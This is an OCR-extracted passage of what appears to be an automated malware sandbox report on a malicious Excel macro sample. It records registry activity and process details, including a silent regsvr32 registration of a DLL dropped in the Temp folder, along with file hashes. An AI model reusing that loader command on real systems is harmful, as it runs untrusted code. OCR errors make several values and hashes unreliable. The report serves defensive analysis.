00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00

HKEY_LOCAL_MACHINE\SOFTWARE\Mi ProductNonBootFilesIntl_ dword 1378549761 success or wait 1 7FEEAC59ACO unknown
crosoft\Windows\CurrentVersion 1033

\Installer\UserData\S-1-5-18\P

roducts\00004109E6009040010000

0000F01FEC\Usage

HKEY_CURRENT_USER\Software\Mic Max Display dword 25 success or wait 2 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\Place MRU

HKEY_CURRENT_USER\Software\Mic Max Display dword 25 success or wait 2 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\file mru

Copyright null 2021 Page 61 of 67



Key Path

HKEY_CURRENT_USER\Software\Mic

rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru
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Name

Item 1

Iltem 2

Item 3

Iltem 4

Item 5

Iltem 6

Iltem 7

Item 8

Item 9

Item 10

Iltem 11

Item 12

Item 13

Iltem 14

Item 15

Item 16

Iltem 17

Item 18

Item 19

Item 20

Type

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

Data

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\5795694722.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\6516896632.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9713424497 .xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0887538035.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416751812.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3580751004.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\5367203117.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3764832265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3013890265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0615447233.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\4144085054.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2109793820.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1417002460.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1387277564.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9281004682.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1169381505.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9801086636.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\7838756049.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416181845.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2874006916.xIsx

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count

Source
Address

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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Source

Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Mic F008D binary 04 00 00 00 FO 07 00 00 30 00 00 00 success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\Resil 43 00 3A 00 5C 00 55 00 73 00 65 00

iency\DocumentRecovery\FO08D 7200 73 00 5C 00 41 00 6C 00 62 00

7500 73 00 5C 00 41 00 70 00 70 00
44 00 61 00 74 00 61 00 5C 00 4C 00
6F 00 63 00 61 00 6C 00 5C 00 54
00 65 00 6D 00 70 00 5C 00 78 00
6C 00 73 00 6D 00 2E 00 73 00 68
00 65 00 65 00 74 00 2E 00 63 00 73
00 76 00 00 00 00 00 22 00 00 00 43
00 3A 00 5C 00 55 00 73 00 65 00 72
00 73 00 5C 00 41 00 6C 00 62 00 75
00 73 00 5C 00 41 00 70 00 70 00 44
00 61 00 74 00 61 00 5C 00 4C 00
6F 00 63 00 61 00 6C 00 5C 00 54
00 65 00 6D 00 70 00 5C 00 01 00 00
00 01 00 00 00 60 B3 37 86 8A E8
D6 01 8D 00 OF 00 8D 00 OF 00 00
00 00 00 B8 02 00 00 66 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00
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Source

Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Mic F208B binary 04 00 00 00 FO 07 00 00 2D 00 00 00 success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\Resil 43 00 3A 00 5C 00 55 00 73 00 65 00

iency\DocumentRecovery\F208B 7200 73 00 5C 00 41 00 6C 00 62 00

7500 73 00 5C 00 44 00 65 00 73 00
6B 00 74 00 6F 00 70 00 5C 00 73
00 61 00 6D 00 70 00 6C 00 65 00 32
00 30 00 32 00 31 00 30 00 31 00 31
00 31 00 2D 00 30 00 31 00 2E 00 78
00 6C 00 73 00 6D 00 00 00 00 00
17 00 00 00 43 00 3A 00 5C 00 55 00
73 00 6500 72 00 73 00 5C 00 41 00
6C 00 62 00 75 00 73 00 5C 00 44
00 65 00 73 00 6B 00 74 00 6F 00 70
00 5C 00 01 00 00 00 01 00 00 00 58
1B 1B 8B 8A E8 D6 01 8B 20 OF 00
8B 20 OF 00 00 00 00 00 B8 02 00 00
66 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00

HKEY_CURRENT_USER\Software\Mic h82 binary 68 38 32 00 FO 07 00 00 02 00 00 00 success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\Resiliency\Startupltems 00 00 00 00 5E 00 00 00 01 00 00 00

2E 00 00 00 24 00 00 00 73 00 61 00

6D 00 70 00 6C 00 65 00 32 00 30

00 32 00 31 00 30 00 31 00 31 00 31

00 2D 00 30 00 31 00 2E 00 78 00

6C 00 73 00 6D 00 00 00 73 00 61

00 6D 00 70 00 6C 00 65 00 32 00 30

00 32 00 31 00 30 00 31 00 31 00 31

00 2D 00 30 00 31 00 00 00

Key Value Modified
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Key Path

HKEY_LOCAL_MACHINE\SOF
TWARE\Mi
crosoft\Windows\CurrentVersio
n\Installer\UserData\S-1-5-18\P
roducts\00004109F100A0C001
00000000F01FEC\Usage

HKEY_LOCAL_MACHINE\SOF
TWARE\Mi
crosoft\Windows\CurrentVersio
n\Installer\UserData\S-1-5-18\P
roducts\00004109F100A0C001
00000000F01FEC\Usage

HKEY_LOCAL_MACHINE\SOF
TWARE\Mi
crosoft\Windows\CurrentVersio
n\Installer\UserData\S-1-5-18\P
roducts\00004109F100C040010
0000000F01FEC\Usage

HKEY_LOCAL_MACHINE\SOF
TWARE\Mi
crosoft\Windows\CurrentVersio
n\Installer\UserData\S-1-5-18\P
roducts\00004109F100C040010
0000000F01FEC\Usage

HKEY_LOCAL_MACHINE\SOF
TWARE\Mi
crosoft\Windows\CurrentVersio
n\Installer\UserData\S-1-5-18\P
roducts\00004109F1009040010
0000000F01FEC\Usage

HKEY_LOCAL_MACHINE\SOF
TWARE\Mi
crosoft\Windows\CurrentVersio
n\Installer\UserData\S-1-5-18\P
roducts\00004109F1009040010
0000000F01FEC\Usage

HKEY_LOCAL_MACHINE\SOF
TWARE\Mi
crosoft\Windows\CurrentVersio
n\Installer\UserData\S-1-5-18\P
roducts\00004109F100A0C001
00000000F01FEC\Usage

HKEY_LOCAL_MACHINE\SOF
TWARE\Mi
crosoft\Windows\CurrentVersio
n\Installer\UserData\S-1-5-18\P
roducts\00004109F100A0C001
00000000F01FEC\Usage

HKEY_LOCAL_MACHINE\SOF
TWARE\Mi

crosoft\Windows\CurrentVersio
n\Installer\UserData\S-1-5-18\P

roducts\00004109F100C040010

0000000F01FEC\Usage

HKEY_LOCAL_MACHINE\SOF
TWARE\Mi

crosoft\Windows\CurrentVersio
n\Installer\UserData\S-1-5-18\P

roducts\00004109F100C040010

0000000F01FEC\Usage

HKEY_LOCAL_MACHINE\SOF
TWARE\Mi
crosoft\Windows\CurrentVersio
n\Installer\UserData\S-1-5-18\P
roducts\00004109F1009040010
0000000F01FEC\Usage

HKEY_LOCAL_MACHINE\SOF
TWARE\Mi
crosoft\Windows\CurrentVersio
n\Installer\UserData\S-1-5-18\P
roducts\00004109F1009040010
0000000F01FEC\Usage

HKEY_LOCAL_MACHINE\SOF
TWARE\Mi
crosoft\Windows\CurrentVersio
n\Installer\UserData\S-1-5-18\P
roducts\00004109D3000000010
0000000F01FEC\Usage
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Name

SpellingAndGrammarFile
s_3082

SpellingAndGrammarFile
s_3082

SpellingAndGrammarFile
s_1036

SpellingAndGrammarFile
s_1036

SpellingAndGrammarFile
s_1033

SpellingAndGrammarFile
s_1033

SpellingAndGrammarFile
s_3082

SpellingAndGrammarFile
s_3082

SpellingAndGrammarFile
s_1036

SpellingAndGrammarFile
s_1036

SpellingAndGrammarFile
s_1033

SpellingAndGrammarFile
s_1033

ProductFiles

Type

dword

dword

dword

dword

dword

dword

dword

dword

dword

dword

dword

dword

dword

Old Data
1358626844

1378549789

1358626844

1378549789

1358626865

1378549810

1378549790

1378549791

1378549790

1378549791

1378549811

1378549812

1378549806

New Data

1378549789

1378549790

1378549789

1378549790

1378549810

1378549811

1378549791

1378549792

1378549791

1378549792

1378549812

1378549813

1378549807

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count

Source
Address

14025828C

14025828C

14025828C

14025828C

14025828C

14025828C

14025828C

14025828C

14025828C

14025828C

14025828C

14025828C

14025828C

Symbol
ShellExecuteA

ShellExecuteA

ShellExecuteA

ShellExecuteA

ShellExecuteA

ShellExecuteA

ShellExecuteA

ShellExecuteA

ShellExecuteA

ShellExecuteA

ShellExecuteA

ShellExecuteA

ShellExecuteA
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Key Path Name Type Old Data

HKEY_LOCAL_MACHINE\SOF ProductFiles dword
TWARE\Mi

crosoft\Windows\CurrentVersio

n\Installer\UserData\S-1-5-18\P

roducts\00004109D3000000010

0000000F01FEC\Usage

1378549807

HKEY_LOCAL_MACHINE\SOF ProductFiles dword
TWARE\Mi

crosoft\Windows\CurrentVersio

n\Installer\UserData\S-1-5-18\P

roducts\00004109D3000000010

0000000F01FEC\Usage

1378549808

HKEY_LOCAL_MACHINE\SOF ProductFiles dword
TWARE\Mi

crosoft\Windows\CurrentVersio

n\Installer\UserData\S-1-5-18\P

roducts\00004109D3000000010

0000000F01FEC\Usage

1378549809

HKEY_LOCAL_MACHINE\SOF ProductNonBootFilesIntl_ dword
TWARE\Mi 1033
crosoft\Windows\CurrentVersio

n\Installer\UserData\S-1-5-18\P

roducts\00004109E6009040010

0000000F01FEC\Usage

1378549761

Source
Count Address Symbol

14025828C

New Data Completion

1378549808 success or wait 1

1378549809 success or wait 1 14025828C

1378549810 success or wait 1 14025828C

1378549762 success or wait 1 7FEEAC59ACO unknown

Analysis Process: regsvr32.exe PID: 2324 Parent PID: 2032

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

18:27:48

11/01/2021

C:\Windows\System32\regsvr32.exe

false

‘C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\fhmhkjo.dll.
0xffe30000

19456 bytes

59BCE9F07985F8A4204F4D6554CFF708

true

true

C, C++ or other language

Reputation: high
Analysis Process: DW20.EXE PID: 3032 Parent PID: 2032
General
Start time: 18:28:06
Start date: 11/01/2021
Path: C:\Program Files\Common Files\Microsoft Shared\DW\DW20.EXE

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

false

'C:\\PROGRA~1\COMMON~1\MICROS~1\DW\DW20.EXE' -x -s 1948
0x13f3f0000

995024 bytes

45A078B2967E0797360A2D4434C41DB4

true

true

C, C++ or other language

moderate

Analysis Process: DWWIN.EXE PID: 2472 Parent PID: 3032

General
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ShellExecuteA

ShellExecuteA

ShellExecuteA



Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

File Path Access
File Path
File Path Offset Length Value
File Path

Registry Activities

Key Path Name Type
Key Path Name Type Old Data
Disassembly

Code Analysis

Copyright null 2021

18:28:06
11/01/2021
C:\Windows\System32\DWWIN.EXE

false

C:\Windows\system32\dwwin.exe -x -s 1948

0xff840000
152576 bytes

25247E3C4E7ATAT3BAEEAGC0008952B1

true
true

C, C++ or other language

moderate
Attributes Options
Ascii
Offset Length
Data
New Data

Completion

Completion

Completion

Completion

Completion

Completion

Count

Count

Count

Count

Count

Count

Source
Address Symbol

Source
Address Symbol

Source
Address Symbol

Source
Address Symbol

Source
Address Symbol

Source
Address Symbol
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